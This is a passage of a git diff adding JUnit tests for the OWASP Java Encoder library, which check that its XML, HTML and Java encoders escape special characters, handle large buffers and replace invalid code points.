+public class EncodeTest extends TestCase {
+ public static Test suite() {
+ return new TestSuite(EncodeTest.class);
+ }
+
+ public void testEncodeToWriter() throws IOException {
+ StringWriter out = new StringWriter();
+ Encode.forXml(out, "<script>");
+ assertEquals("&lt;script&gt;", out.toString());
+ }
+
+ /**
+ * This test validates the logic for dealing with large encodes that
+ * require multiple flushes to the writer because they exceed the
+ * internal buffer size of the encode loop.
+ *
+ * @throws IOException should not be thrown
+ */
+ public void testBatchedEncodingToWriter() throws IOException {
+ String input = "&&&&&&&&&&&&&&&&&&&&"
+ .replace("&", "&&&&&&&&&&&&&&&&&&&&") // 400
+ .replace("&", "&&&&&&&&&&&&&&&&&&&&"); // 8000
+ String expected = input.replace("&", "&amp;");
+ final int[] appendCount = new int[1];
+ StringWriter out = new StringWriter() {
+ @Override
+ public void write(char[] cbuf, int off, int len) {
+ super.write(cbuf, off, len);
+ appendCount[0]++;
+ }
+ };
+ Encode.forXml(out, input);
+
+ // this assert here is validating that we are encoding with output
+ // that is larger than the internal buffers of the encode loop.
+ // the only way this should fail is if the buffer in the encode loop
+ // is made larger without also updating this test.
+ assertTrue(appendCount[0] > 1);
+
+ assertEquals(8000 * 5, out.getBuffer().length());
+ assertEquals(expected, out.toString());
+ }
+
+ /**
+ * This method tests that strings that do not require encoding are passed
+ * directly to the writer as a string, without any additional buffer
+ * copies.
+ *
+ * @throws IOException not thrown
+ */
+ public void testUnencodedStringToWriter() throws IOException {
+ final String unencodedString = "safe";
+ final boolean[] called = new boolean[1];
+ StringWriter out = new StringWriter() {
+ @Override
+ public void write(String str) {
+ called[0] = true;
+ assertSame(unencodedString, str);
+ super.write(str);
+ }
+ };
+ Encode.forXml(out, unencodedString);
+ assertTrue(called[0]);
+ assertEquals(unencodedString, out.toString());
+ }
+
+ public void testEncodeNullToWriter() throws IOException {
+ StringWriter out = new StringWriter();
+ Encode.forXml(out, null);
+ assertEquals("null", out.toString());
+ }
+
+ public void testEncodeString() {
+ assertEquals("&lt;script&gt;", Encode.forXml("<script>"));
+ }
+
+ public void testEncodeNullToString() {
+ assertEquals("null", Encode.forXml(null));
+ }
+
+ /**
+ * Make sure return the argument when the string is not encoded.
+ */
+ public void testUnencodedString() {
+ String input = "safe";
+ assertSame(input, Encode.forXml(input));
+ }
+
+ public void testLargeEncodeToString() {
+ final String input = "&&&&&&&&&&"
+ .replace("&", "&&&&&&&&&&") // 100
+ .replace("&", "&&&&&&&&&&"); // 1000
+
+ // this should be smaller than the internal input buffer
+ // but cause overflow to the output buffer
+ assertEquals(1000, input.length());
+ String output = Encode.forXml(input);
+ assertEquals(5000, output.length());
+ assertEquals(input.replace("&", "&amp;"), output);
+ }
+
+ public void testVeryLargeEncodeToString() {
+ final String input = "&&&&&&&&&&&&&&&&&&&&"
+ .replace("&", "&&&&&&&&&&&&&&&&&&&&") // 400
+ .replace("&", "&&&&&&&&&&&&&&&&&&&&"); // 8000
+
+ // this should be larger than the internal input buffer
+ assertEquals(8000, input.length());
+ String output = Encode.forXml(input);
+ assertEquals(40000, output.length());
+ assertEquals(input.replace("&", "&amp;"), output);
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/EncoderTestSuiteBuilder.java b/core/src/test/java/org/owasp/encoder/EncoderTestSuiteBuilder.java
new file mode 100644
index 0000000..b365dc9
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/EncoderTestSuiteBuilder.java
@@ -0,0 +1,562 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import java.io.CharArrayWriter;
+import java.io.IOException;
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+import java.util.BitSet;
+import junit.framework.Assert;
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * EncoderTestSuiteBuilder -- builder of test suites for the encoders.
+ * Allows fluent construction of a test suite by specifying which
+ * code-points are not encoded, which are invalid, and the expected
+ * encodings for escaped characters.
+ *
+ * @author Jeff Ichnowski
+ */
+public class EncoderTestSuiteBuilder {
+ /** This is the test suite that is being built. */
+ private TestSuite _suite;
+ /**
+ * If a test flagged by {@link #mark()}, this is the active suite of
+ * marked tests.
+ */
+ private TestSuite _markedSuite;
+ /** The encoder being tested. */
+ private Encoder _encoder;
+ /**
+ * A character sequence that is valid and not escaped by the encoder.
+ * It is used to surround (prefix and suffix) test inputs.
+ */
+ private String _safeAffix;
+ /**
+ * A character sequence that is escaped by the encoder.
+ */
+ private String _unsafeAffix;
+
+ /**
+ * The set of all valid, un-escaped characters.
+ */
+ private BitSet _valid = new BitSet();
+ /**
+ * The set of all invalid characters.
+ */
+ private BitSet _invalid = new BitSet();
+ /**
+ * The set of all valid characters requiring escapes.
+ */
+ private BitSet _encoded = new BitSet();
+
+ /**
+ * Creates an builder for the specified encoder.
+ *
+ * @param encoder the encoder to test
+ * @param safeAffix the value for {@link #_safeAffix}
+ * @param unsafeAffix the value for {@link #_unsafeAffix}
+ */
+ public EncoderTestSuiteBuilder(Encoder encoder, String safeAffix, String unsafeAffix) {
+ _suite = new TestSuite(encoder.toString());
+ _encoder = encoder;
+ _safeAffix = safeAffix;
+ _unsafeAffix = unsafeAffix;
+ }
+
+ /**
+ * Like the {@link #EncoderTestSuiteBuilder(Encoder, String, String)},
+ * but with a class that has "testXYZ()" methods in it too. The test
+ * methods will be run first.
+ *
+ * @param suiteClass the test class with the "testXYZ()" methods.
+ * @param encoder the encoder to test
+ * @param safeAffix the value for {@link #_safeAffix}
+ * @param unsafeAffix the value for {@link #_unsafeAffix}
+ */
+ public EncoderTestSuiteBuilder(Class<? extends TestCase> suiteClass, Encoder encoder, String safeAffix, String unsafeAffix) {
+ _suite = new TestSuite(suiteClass);
+ _encoder = encoder;
+ _safeAffix = safeAffix;
+ _unsafeAffix = unsafeAffix;
+ }
+
+ /**
+ * Adds a single test to the suite.
+ *
+ * @param test the test to add
+ * @return this.
+ */
+ public EncoderTestSuiteBuilder add(Test test) {
+ _suite.addTest(test);
+ return this;
+ }
+
+ /**
+ * Java/JavaScript-style encoder for helping debug unit test results. We
+ * should not rely upon the code being tested for helping--not that it
+ * would hurt the testing, only it might effect coverage metrics.
+ *
+ * @param input the input to encode
+ * @return the encoded input
+ */
+ static String debugEncode(String input) {
+ final int n = input.length();
+ StringBuilder buf = new StringBuilder(n*2);
+ for (int i=0 ; i<n ; ++i) {
+ char ch = input.charAt(i);
+ switch (ch) {
+ case '\\': buf.append("\\\\"); break;
+ case '\'': buf.append("\\\'"); break;
+ case '\"': buf.append("\\\""); break;
+ case '\r': buf.append("\\r"); break;
+ case '\n': buf.append("\\n"); break;
+ case '\t': buf.append("\\t"); break;
+ default:
+ if (' ' <= ch && ch <= '~') {
+ buf.append(ch);
+ } else {
+ buf.append(String.format("\\u%04x", (int) ch));
+ }
+ break;
+ }
+ }
+ return buf.toString();
+ }
+
+ /**
+ * Extended version of {@link junit.framework.Assert#assertEquals(String,String)}.
+ * It will try encodings by surrounding the input with safe and unsafe
+ * prefixes and suffixes. It will also check additional assertions about
+ * the behavior of the encoders.
+ *
+ * @param expected the expected encoding
+ * @param input the input to encode
+ * @throws IOException from the signature of a Writer used internally.
+ * Not actually thrown since the writer is an in-memory writer.
+ */
+ void checkEncode(final String expected, final String input)
+ throws IOException
+ {
+ // Check the .encode call
+ String actual = Encode.encode(_encoder, input);
+
+ if (!expected.equals(actual)) {
+ Assert.assertEquals("encode(\""+ debugEncode(input) +"\")", expected, actual);
+ }
+
+ if (input.equals(actual)) {
+ // test that the input string is returned unmodified if
+ // the input was not escaped. This insures that we're
+ // not allocating objects unnecessarily.
+ Assert.assertSame(input, actual);
+ }
+
+ // Check the encodeTo variants (at offset 0)
+ TestWriter testWriter = new TestWriter(input);
+ EncodedWriter encodedWriter = new EncodedWriter(testWriter, _encoder);
+ encodedWriter.write(input);
+ encodedWriter.close();
+ actual = testWriter.toString();
+ if (!expected.equals(actual)) {
+ Assert.assertEquals("encodeTo(\""+debugEncode(input)+"\",int,int,Writer)", expected, actual);
+ }
+
+ // Check the encodeTo variants (at offset 3)
+ String offsetInput = "\0\0\0" + input + "\0\0\0";
+ testWriter = new TestWriter(offsetInput);
+ encodedWriter = new EncodedWriter(testWriter, _encoder);
+ encodedWriter.write(offsetInput.toCharArray(), 3, input.length());
+ encodedWriter.close();
+ actual = testWriter.toString();
+ if (!expected.equals(actual)) {
+ Assert.assertEquals("encodeTo([..."+debugEncode(input)+"...],int,int,Writer)", expected, actual);
+ }
+
+ // Check boundary conditions on CharBuffer encodes
+ checkBoundaryEncodes(expected, input);
+ }
+
+ /**
+ * Checks boundary conditions of CharBuffer based encodes.
+ *
+ * @param expected the expected output
+ * @param input the input to encode
+ */
+ private void checkBoundaryEncodes(String expected, String input) {
+ final CharBuffer in = CharBuffer.wrap(input.toCharArray());
+ final int n = expected.length();
+ final CharBuffer out = CharBuffer.allocate(n);
+ for (int i=0 ; i<n ; ++i) {
+ out.clear();
+ out.position(n - i);
+ in.clear();
+
+ CoderResult cr = _encoder.encode(in, out, true);
+ out.limit(out.position()).position(n - i);
+ out.compact();
+ if (cr.isOverflow()) {
+ CoderResult cr2 = _encoder.encode(in, out, true);
+ if (!cr2.isUnderflow()) {
+ Assert.fail("second encode should finish at offset = "+i);
+ }
+ }
+ out.flip();
+
+ String actual = out.toString();
+ if (!expected.equals(actual)) {
+ Assert.assertEquals("offset = "+i, expected, actual);
+ }
+ }
+ }
+
+ /**
+ * Tells the suite builder that for the given input it should expect the
+ * given encoded output. To be used only for input that is escaped by
+ * the encoder.
+ *
+ * @param expected the expected output.
+ * @param input the input to encode.
+ * @return this.
+ */
+ public EncoderTestSuiteBuilder encode(final String expected, final String input) {
+ return encode("input: "+input, expected, input);
+ }
+
+ /**
+ * Tells the suite builder that for the given input it should expect the
+ * given encoded output. To be used only for input that is escaped by
+ * the encoder.
+ *
+ * @param name the name of the test (for junit reports)
+ * @param expected the expected output
+ * @param input the input to encode.
+ * @return this.
+ */
+ public EncoderTestSuiteBuilder encode(String name, final String expected, final String input) {
+ return add(new TestCase(name) {
+ @Override
+ protected void runTest() throws Throwable {
+ // test input directly
+ checkEncode(expected, input);
+
+ // test input surrounded by safe characters
+ checkEncode(_safeAffix + expected, _safeAffix + input);
+ checkEncode(expected + _safeAffix, input + _safeAffix);
+ checkEncode(_safeAffix + expected + _safeAffix,
+ _safeAffix + input + _safeAffix);
+
+ // test input surrounded by characters needing escape
+ String escapedAffix = Encode.encode(_encoder, _unsafeAffix);
+ checkEncode(escapedAffix + expected, _unsafeAffix + input);
+ checkEncode(expected + escapedAffix, input + _unsafeAffix);
+ checkEncode(escapedAffix + expected + escapedAffix,
+ _unsafeAffix + input + _unsafeAffix);
+ }
+ });
+ }
+
+ /**
+ * Tells the builder that any character in the input string is "invalid"--
+ * and thus is not to appear in the output either encoded or unescaped.
+ *
+ * @param chars the set of invalid characters.
+ */
+ public void invalid(String chars) {
+ for (int i=0, n=chars.length() ; i<n ; ++i) {
+ char ch = chars.charAt(i);
+ _invalid.set(ch);
+ _valid.clear(ch);
+ _encoded.clear(ch);
+ }
+ }
+
+ /**
+ * Tells the builder that a character range is invalid.
+ *
+ * @param min the minimum code-point (inclusive)
+ * @param max the maximum code-point (inclusive)
+ * @return this.
+ */
+ public EncoderTestSuiteBuilder invalid(int min, int max) {
+ _invalid.set(min, max+1);
+ _valid.clear(min, max+1);
+ _encoded.clear(min, max+1);
+ return this;
+ }
+
+ /**
+ * Tells the builder that a character set is valid and unescaped.
+ *
+ * @param chars the character set of valid, unescaped characters.
+ * @return this.
+ */
+ public EncoderTestSuiteBuilder valid(String chars) {
+ for (int i=0, n=chars.length() ; i<n ; ++i) {
+ char ch = chars.charAt(i);
+ _valid.set(ch);
+ _invalid.clear(ch);
+ _encoded.clear(ch);
+ }
+ return this;
+ }
+
+ /**
+ * Tells the builder that a range of code-points is valid.
+ *
+ * @param min the minimum (inclusive)
+ * @param max the maximum (inclusive)
+ * @return this.
+ */
+ public EncoderTestSuiteBuilder valid(int min, int max) {
+ _valid.set(min, max+1);
+ _invalid.clear(min, max+1);
+ _encoded.clear(min, max+1);
+ return this;
+ }
+
+ /**
+ * Tells the builder that a set of characters is encoded.
+ *
+ * @param chars the encoded characters
+ * @return this
+ */
+ public EncoderTestSuiteBuilder encoded(String chars) {
+ for (int i=0, n=chars.length() ; i<n ; ++i) {
+ char ch = chars.charAt(i);
+ _encoded.set(ch);
+ _valid.clear(ch);
+ _invalid.clear(ch);
+ }
+ return this;
+ }
+
+ /**
+ * Tells the builder that a range of characters is encoded.
+ *
+ * @param min the minimum (inclusive)
+ * @param max the maximum (inclusive)
+ * @return this
+ */
+ public EncoderTestSuiteBuilder encoded(int min, int max) {
+ _encoded.set(min, max+1);
+ _valid.clear(min, max+1);
+ _invalid.clear(min, max+1);
+ return this;
+ }
+
+ /**
+ * Creates and adds a test suite of valid, unescaped characters, to
+ * the test suite. Must be called after telling the builder which
+ * characters are valid, invalid, and encoded.
+ *
+ * @return this.
+ */
+ public EncoderTestSuiteBuilder validSuite() {
+ int cardinality = _encoded.cardinality() + _invalid.cardinality() + _valid.cardinality();
+ if (cardinality != Character.MAX_CODE_POINT + 1) {
+ throw new AssertionError("incomplete coverage: "+cardinality+" != "+(Character.MAX_CODE_POINT+1));
+ }
+
+ TestSuite suite = new TestSuite("valid");
+
+ int min = _valid.nextSetBit(0);
+ while (min != -1) {
+ int max = _valid.nextClearBit(min+1);
+ if (max == -1) {
+ max = Character.MAX_CODE_POINT + 1;
+ }
+ final int finalMin = min;
+ final int finalMax = max;
+ suite.addTest(new TestCase(String.format("U+%04X..U+%04X", finalMin, finalMax - 1)) {
+ @Override
+ protected void runTest() throws Throwable {
+ char[] chars = new char[2];
+ for (int i= finalMin; i<finalMax; ++i) {
+ String input = new String(chars, 0, Character.toChars(i, chars, 0));
+ checkEncode(input, input);
+ }
+ }
+ });
+ min = _valid.nextSetBit(max+1);
+ }
+
+ return add(suite);
+ }
+
+ /**
+ * Creates an adds a test suite for the invalid characters. Must be
+ * called after telling the builder which characters are valid, invalid,
+ * and encoded.
+ *
+ * @param invalidChar the replacement to expect when an invalid character
+ * is encountered in the input.
+ * @return this
+ */
+ public EncoderTestSuiteBuilder invalidSuite(char invalidChar) {
+ assert _encoded.cardinality() + _invalid.cardinality() + _valid.cardinality() == Character.MAX_CODE_POINT + 1;
+
+ final String invalidString = String.valueOf(invalidChar);
+
+ TestSuite suite = new TestSuite("invalid");
+ int min = _invalid.nextSetBit(0);
+ while (min != -1) {
+ int max = _invalid.nextClearBit(min+1);
+ if (max < 0) {
+ max = Character.MAX_CODE_POINT + 1;
+ }
+ final int finalMin = min;
+ final int finalMax = max;
+ suite.addTest(new TestCase(String.format("U+%04x..U+%04X", finalMin, finalMax - 1)) {
+ @Override
+ protected void runTest() throws Throwable {
+ char[] chars = new char[2];
+ for (int i = finalMin; i < finalMax; ++i) {
+ String input = new String(chars, 0, Character.toChars(i, chars, 0));
+ String actual = Encode.encode(_encoder, input);
+ if (!invalidString.equals(actual)) {
+ assertEquals("\"" + debugEncode(input) + "\" actual=" + debugEncode(actual), invalidString, actual);
+ }
+ checkBoundaryEncodes(invalidString, input);
+ }
+ }
+ });
+ min = _invalid.nextSetBit(max+1);
+ }
+
+ return add(suite);
+ }
+
+ /**
+ * Creates and adds a test suite for characters that are encoded. Must
+ * be called after telling the builder which characters are valid,
+ * invalid, and encoded. The added suite simply tests that encoded
+ * characters are encoded to something other than the input. The
+ * {@link #encode(String, String)} methods should be use to test
+ * actual encoded return values.
+ *
+ * @see #encode(String, String)
+ * @see #encode(String, String, String)
+ * @return this
+ */
+ public EncoderTestSuiteBuilder encodedSuite() {
+ assert _encoded.cardinality() + _invalid.cardinality() + _valid.cardinality() == Character.MAX_CODE_POINT + 1;
+
+ TestSuite suite = new TestSuite("encoded");
+ int min = _encoded.nextSetBit(0);
+ while (min != -1) {
+ int max = _encoded.nextClearBit(min+1);
+ if (max < 0) {
+ max = Character.MAX_CODE_POINT+1;
+ }
+ final int finalMin = min;
+ final int finalMax = max;
+ suite.addTest(new TestCase(String.format("U+%04X..U+%04X", finalMin, finalMax - 1)) {
+ @Override
+ protected void runTest() throws Throwable {
+ char[] chars = new char[2];
+ for (int i= finalMin; i< finalMax; ++i) {
+ String input = new String(chars, 0, Character.toChars(i, chars, 0));
+ String actual = Encode.encode(_encoder, input);
+ if (actual.equals(input)) {
+ fail("input="+debugEncode(input));
+ }
+ }
+ }
+ });
+ min = _encoded.nextSetBit(max+1);
+ }
+ return add(suite);
+ }
+
+ /**
+ * Returns the suite that was built. If any tests were flagged with
+ * {@link #mark()}, then only those tests will be included in the result.
+ *
+ * @see #mark()
+ * @return the test suite.
+ */
+ public TestSuite build() {
+ return _markedSuite != null ? _markedSuite : _suite;
+ }
+
+ /**
+ * "Marks" the last added test for running. If any tests in the suite is
+ * marked, then only the marked tests are run. Marking allows developers
+ * to flag a single test during development and may be useful for debugging
+ * or simplying focusing on a perticular (set of) test(s).
+ *
+ * @return this
+ */
+ public EncoderTestSuiteBuilder mark() {
+ if (_markedSuite == null) {
+ _markedSuite = new TestSuite();
+ }
+ _markedSuite.addTest(_suite.testAt(_suite.testCount() - 1));
+ return this;
+ }
+
+ /**
+ * A writer used during testing. It extends CharArrayWriter to
+ * add assertions to the test sequence, while also buffering the
+ * result for later assertions.
+ */
+ static class TestWriter extends CharArrayWriter {
+ private String _input;
+
+ public TestWriter(String input) {
+ _input = input;
+ }
+
+ @Override
+ public void write(String str) throws IOException {
+ // Make sure that if the write(String...) apis are called, that its
+ // only for the case that the input is unchanged.
+ Assert.assertSame(_input, str);
+ super.write(str);
+ }
+
+ @Override
+ public void write(String str, int off, int len) {
+ // Make sure that if the write(String...) apis are called, that its
+ // only for the case that the input is unchanged.
+ Assert.assertSame(_input, str);
+ super.write(str, off, len);
+ }
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/EncodersTest.java b/core/src/test/java/org/owasp/encoder/EncodersTest.java
new file mode 100644
index 0000000..0fd3100
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/EncodersTest.java
@@ -0,0 +1,73 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+
+/**
+ * EncodersTest -- Tests for the Encoders class.
+ *
+ * @author Jeff Ichnowski
+ */
+public class EncodersTest extends TestCase {
+
+ public static Test suite() throws Exception {
+ return new TestSuite(EncodersTest.class);
+ }
+
+ public void testForNameIsNotNull() throws Exception {
+ Field[] fields = Encoders.class.getFields();
+ int count = 0;
+ for (Field field : fields) {
+ if (Modifier.isPublic(field.getModifiers()) &&
+ Modifier.isStatic(field.getModifiers()) &&
+ Modifier.isFinal(field.getModifiers()) &&
+ field.getType() == String.class)
+ {
+ String contextName = (String) field.get(null);
+ Encoder encoder = Encoders.forName(contextName);
+ assertNotNull("Encoder: "+contextName, encoder);
+ count++;
+ }
+ }
+
+ assertTrue(count > 0);
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/HTMLEncoderTest.java b/core/src/test/java/org/owasp/encoder/HTMLEncoderTest.java
new file mode 100644
index 0000000..2ef0495
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/HTMLEncoderTest.java
@@ -0,0 +1,104 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+
+/**
+ * HTMLEncoderTest -- test suite for HTMLEncoder.
+ *
+ * @author Jeff Ichnowski
+ */
+public class HTMLEncoderTest extends TestCase {
+ public static Test suite() {
+ return new EncoderTestSuiteBuilder(new HTMLEncoder(), "-safe-", "-&-")
+ .encode("&amp;", "&")
+ .encode("&gt;", ">")
+ .encode("&lt;", "<")
+ .encode("&#39;", "\'")
+ .encode("&#34;", "\"")
+ .encode("space", "&#32;", " ")
+ .encode("tab", "&#9;", "\t")
+ .encode("LF", "&#10;", "\n")
+ .encode("FF", "&#12;", "\f")
+ .encode("CR", "&#13;", "\r")
+ .encode("&#96;", "`")
+ .encode("&#47;", "/")
+ .encode("&#133;", "\u0085")
+ .encode("safe", "safe")
+ .encode("unencoded&amp;encoded", "unencoded&encoded")
+ .encode("invalid-control-characters", "-b-", "\0b\26")
+ .encode("valid-surrogate-pair", "\ud800\udc00", "\ud800\udc00")
+ .encode("missing-low-surrogate", "-", "\ud800")
+ .encode("missing-high-surrogate", "-", "\udc00")
+ .encode("valid-upper-char", "\ufffd", "\ufffd")
+ .encode("invalid-upper-char", "-", "\uffff")
+ .encode("line-separator", "&#8232;", "\u2028")
+ .encode("paragraph-separator", "&#8233;", "\u2029")
+
+ .invalid(0, 0x1f)
+ .valid("\t\r\n")
+ .valid(' ', Character.MAX_CODE_POINT)
+ .invalid(0x7f, 0x9f)
+ .valid("\u0085")
+ .encoded("&><\'\"/`= \r\n\t\f\u0085\u2028\u2029")
+ .invalid(Character.MIN_SURROGATE, Character.MAX_SURROGATE)
+ .invalid(0xfdd0, 0xfdef)
+ .invalid(0xfffe, 0xffff)
+ .invalid(0x1fffe, 0x1ffff)
+ .invalid(0x2fffe, 0x2ffff)
+ .invalid(0x3fffe, 0x3ffff)
+ .invalid(0x4fffe, 0x4ffff)
+ .invalid(0x5fffe, 0x5ffff)
+ .invalid(0x6fffe, 0x6ffff)
+ .invalid(0x7fffe, 0x7ffff)
+ .invalid(0x8fffe, 0x8ffff)
+ .invalid(0x9fffe, 0x9ffff)
+ .invalid(0xafffe, 0xaffff)
+ .invalid(0xbfffe, 0xbffff)
+ .invalid(0xcfffe, 0xcffff)
+ .invalid(0xdfffe, 0xdffff)
+ .invalid(0xefffe, 0xeffff)
+ .invalid(0xffffe, 0xfffff)
+ .invalid(0x10fffe, 0x10ffff)
+
+ .validSuite()
+ .invalidSuite('-')
+ .encodedSuite()
+
+ .build();
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/JavaEncoderTest.java b/core/src/test/java/org/owasp/encoder/JavaEncoderTest.java
new file mode 100644
index 0000000..e47269d
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/JavaEncoderTest.java
@@ -0,0 +1,76 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+
+/**
+ * JavaEncoderTest -- test suite for the JavaEncoder.
+ *
+ * @author Jeff Ichnowski
+ */
+public class JavaEncoderTest extends TestCase {
+ public static Test suite() {
+ return new EncoderTestSuiteBuilder(new JavaEncoder(), "-safe-", "'")
+ .encode("\\'", "\'")
+ .encode("\\\"", "\"")
+ .encode("\\\\", "\\")
+ .encode("abc123XYZ", "abc123XYZ")
+ .encode("\\b", "\\b", "\b")
+ .encode("\\t", "\\t", "\t")
+ .encode("\\n", "\\n", "\n")
+ .encode("\\f", "\\f", "\f")
+ .encode("\\r", "\\r", "\r")
+ .encode("\\0", "\\0", "\0")
+ .encode("\\17", "\\17", "\17")
+ .encode("\\377", "\\377", "\377")
+ .encode("\\u1234", "\\u1234", "\u1234")
+ .encode("\\uabcd", "\\uabcd", "\uabcd")
+ .encode("invalid-surrogate", "\\udc00", "\udc00") // are okay
